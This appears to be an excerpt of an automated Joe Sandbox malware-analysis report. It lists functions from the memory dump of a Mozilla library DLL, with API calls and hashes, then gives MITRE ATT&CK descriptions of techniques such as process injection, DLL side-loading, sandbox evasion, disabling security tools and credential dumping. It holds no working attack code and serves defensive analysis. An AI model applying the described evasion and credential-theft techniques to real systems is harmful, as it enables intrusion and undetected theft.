Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 63c3ee1ad9dc2721f5da84efbe2ecd88d7e20a5e4b4e35e69058e7139d9a5a38
Instruction ID: 7d80d0b7ce9706b603e09c43014f195283497b0d72efd8bd2333b12d3bd1c7c1
Opcode Fuzzy Hash: 63c3ee1ad9dc2721f5da84efbe2ecd88d7e20a5e4b4e35e69058e7139d9a5a38
Instruction Fuzzy Hash: BF11C435E046889BDF018F69D8154EDB775EF96318B4A8618ECC597A42FB30B5C8CB50

Function 6CAA4730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CAA44B2,6CB1E21C,6CB1F7F8), ref: 6CAA473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CAA474A

Strings

GetNtLoaderAPI, xrefs: 6CAA4744

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: d6a14a42b9c13454149eae9a721b2fe0a3fd14fe757346167effb1b946afae99
Instruction ID: 856473d4db2752573c2b07243e9940f9d903c345fc45b26a51ea64d59ffa57bd
Opcode Fuzzy Hash: d6a14a42b9c13454149eae9a721b2fe0a3fd14fe757346167effb1b946afae99
Instruction Fuzzy Hash: 1101B5767002948FDF009FA5C859A2DBBF9EB4B321B080469E905C7B00CB75D801CF91

Function 6CAF6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6CAF6E22
__Init_thread_footer.LIBCMT ref: 6CAF6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6CAF6E1D

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: fd009dd9bce5ac1c10194d2f94de2725f1cae16da9eb2d44204724cea7e6e62e
Instruction ID: 909c4ef6effc13be7a2e5c9ac804ee47ddb22b1528d9022422f12fa8f622a162
Opcode Fuzzy Hash: fd009dd9bce5ac1c10194d2f94de2725f1cae16da9eb2d44204724cea7e6e62e
Instruction Fuzzy Hash: E3F02E7E7092C0DFDB008B68D956A9577729713228F0C0165D42947F51D731BB97CA93

Function 6CAA9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CAA9EEF

Strings

NaN, xrefs: 6CAA9EC1
Infinity, xrefs: 6CAA9EB7

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 37639f1f6e98374ffe6fe11721bd11348cb7d1529b779a5152812e1eba6a13d8
Instruction ID: 576c7decc3c70a7ec3608f25675c28886d4f31a002fae392c0c31cb478fa76d1
Opcode Fuzzy Hash: 37639f1f6e98374ffe6fe11721bd11348cb7d1529b779a5152812e1eba6a13d8
Instruction Fuzzy Hash: 37F0F6B4728791CBDB00CF98D94B7707372B317318F240A59C5040BF41D7366A8ACB82

Function 6CAABED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6CAABEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6CAABEF5

Strings

cryptbase.dll, xrefs: 6CAABEF0

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 56dbed90e97bb6d2cddabec5f04cb2c167ac81cc8c537bf04aeece4e9b2e5e31
Instruction ID: 3032e7b2e54bbb5f9aeb46ee1e9659d51a5a02880dcb98abe27e84c6bba65afd
Opcode Fuzzy Hash: 56dbed90e97bb6d2cddabec5f04cb2c167ac81cc8c537bf04aeece4e9b2e5e31
Instruction Fuzzy Hash: 8ED0C73318410CEAD6546A909D06B1537749705725F10C421F75555D51D7B19451CF94

Function 6CA950E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CA94E9C,?,?,?,?,?), ref: 6CA9510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CA94E9C,?,?,?,?,?), ref: 6CA95167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6CA95196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CA94E9C), ref: 6CA95234

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: 97c79fc09a6c7922173e17522a014745ca31de875fe683c0680bad0666f6f525
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: 9C918C75515656CFCB14CF08C492A5ABBF1BF89318B288688DC589B715D731FC82CBE1

Function 6CAD08F0 Relevance: 5.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB1E7DC), ref: 6CAD0918
LeaveCriticalSection.KERNEL32(6CB1E7DC), ref: 6CAD09A6
EnterCriticalSection.KERNEL32(6CB1E7DC,?,00000000), ref: 6CAD09F3
LeaveCriticalSection.KERNEL32(6CB1E7DC), ref: 6CAD0ACB

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: c7802b499e15b190735e8015f20f2bd04695e6d88b02491dd9df2ad1cb65eef5
Instruction ID: 4ac13ef394860380f47a3d37034cdb551ddf90c4cd7c5de08d503b0c2d4df52d
Opcode Fuzzy Hash: c7802b499e15b190735e8015f20f2bd04695e6d88b02491dd9df2ad1cb65eef5
Instruction Fuzzy Hash: DE512836702694CFEB089BA9C40566A73B1FB82B2472A413AD97597F90DB30FC81C6C1

Function 6CAEB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6CAEB2C9,?,?,?,6CAEB127,?,?,?,?,?,?,?,?,?,6CAEAE52), ref: 6CAEB628

Part of subcall function 6CAE90E0: free.MOZGLUE(?,00000000,?,?,6CAEDEDB), ref: 6CAE90FF
Part of subcall function 6CAE90E0: free.MOZGLUE(?,00000000,?,?,6CAEDEDB), ref: 6CAE9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CAEB2C9,?,?,?,6CAEB127,?,?,?,?,?,?,?,?,?,6CAEAE52), ref: 6CAEB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CAEB2C9,?,?,?,6CAEB127,?,?,?,?,?,?,?,?,?,6CAEAE52), ref: 6CAEB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6CAEB127,?,?,?,?,?,?,?,?), ref: 6CAEB74D

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 844cbd04050cf88294b34178ac849cb1a3240d96a2ef2d43f0eb72b10053ce77
Instruction ID: 1b04521fe0cf27ef38e9efbd4da4be988422704b80d5386144ca67c2c28a415a
Opcode Fuzzy Hash: 844cbd04050cf88294b34178ac849cb1a3240d96a2ef2d43f0eb72b10053ce77
Instruction Fuzzy Hash: 4751E271A023168FDB14CF19E98869EB7B5FF48304F45862DC85AA7B00D730E884DBD5

Function 6CAEDF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6CADFF2A), ref: 6CAEDFFD

Part of subcall function 6CAE90E0: free.MOZGLUE(?,00000000,?,?,6CAEDEDB), ref: 6CAE90FF
Part of subcall function 6CAE90E0: free.MOZGLUE(?,00000000,?,?,6CAEDEDB), ref: 6CAE9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CADFF2A), ref: 6CAEE04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CADFF2A), ref: 6CAEE0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6CADFF2A), ref: 6CAEE0FE

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: dbd020c56a16d9d0fc3bfba1c1930ba3592fe44eff06b46f2ddfc5b78e32ad35
Instruction ID: 29c242a31df23c0a091db931a73ebe0d2ffc353efec8093a2cdd3fbcbc9a40bd
Opcode Fuzzy Hash: dbd020c56a16d9d0fc3bfba1c1930ba3592fe44eff06b46f2ddfc5b78e32ad35
Instruction Fuzzy Hash: 0541C0B17442168FEB24CF68D88036A77B6BF49308F184939D516DBB40E732E984DBD2

Function 6CAE6E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6CAE6EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6CAE6EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CAE6F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAE6F5C

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 2843c91ed3ee2d688e006db42fb9e795204c5f50c0e53d870100029a2ff1508d
Instruction ID: 448eed4267ea2b839ee9ce4cc16f80ca055962fc2f19ee6a0c781b1cdaa74841
Opcode Fuzzy Hash: 2843c91ed3ee2d688e006db42fb9e795204c5f50c0e53d870100029a2ff1508d
Instruction Fuzzy Hash: 8531E571A1060A8FDB04CF2CC9816AA73F9EB88304F54863DD51AC7751EB31EA99D7E0

Function 6CAFB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6CAA0A4D), ref: 6CAFB5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6CAA0A4D), ref: 6CAFB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CAA0A4D), ref: 6CAFB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6CAA0A4D), ref: 6CAFB67F

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 6ed7f924fadf550691226b57614ee36479651dac425924f48fa04555f8fb5417
Instruction ID: f005b3c8dc393fdac05f845ff6f6e30583602d75401a018a608870b2e34ff7eb
Opcode Fuzzy Hash: 6ed7f924fadf550691226b57614ee36479651dac425924f48fa04555f8fb5417
Instruction Fuzzy Hash: 3C312971A002158FDB10CF59D84469EBBF6FF80304F1A8629D81ADB701DB31E956CBE0

Function 6CACF5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6CACF611
memcpy.VCRUNTIME140(?,?,?), ref: 6CACF623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6CACF652
memcpy.VCRUNTIME140(?,?,?), ref: 6CACF668

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 0fdd9272da30b6b5e94dd7cbd90adcd433401c7535db7ab9ee1465cf5488e44e
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 3B312B71B00218AFC714CF5DCCC0A9F7BB5EB88354B18853DEA498BB04D631E9848B91

Function 6CAE26B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAE26C1
free.MOZGLUE(?), ref: 6CAE26E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAE26FF
free.MOZGLUE ref: 6CAE270D

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: e970980f0bddada3c3e6250f427ffb0b1775e54feba5bc32b676b1021106197b
Instruction ID: 4db9c8ebb3de38cd7fa1672fab4f4dfbbf6fe7eae0049addf5dc847c5a6e31f5
Opcode Fuzzy Hash: e970980f0bddada3c3e6250f427ffb0b1775e54feba5bc32b676b1021106197b
Instruction Fuzzy Hash: 14F0F9B27012025BF7009E19DC8898773ADEF45318B140235FA1AD3B01E331F998D7D1

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
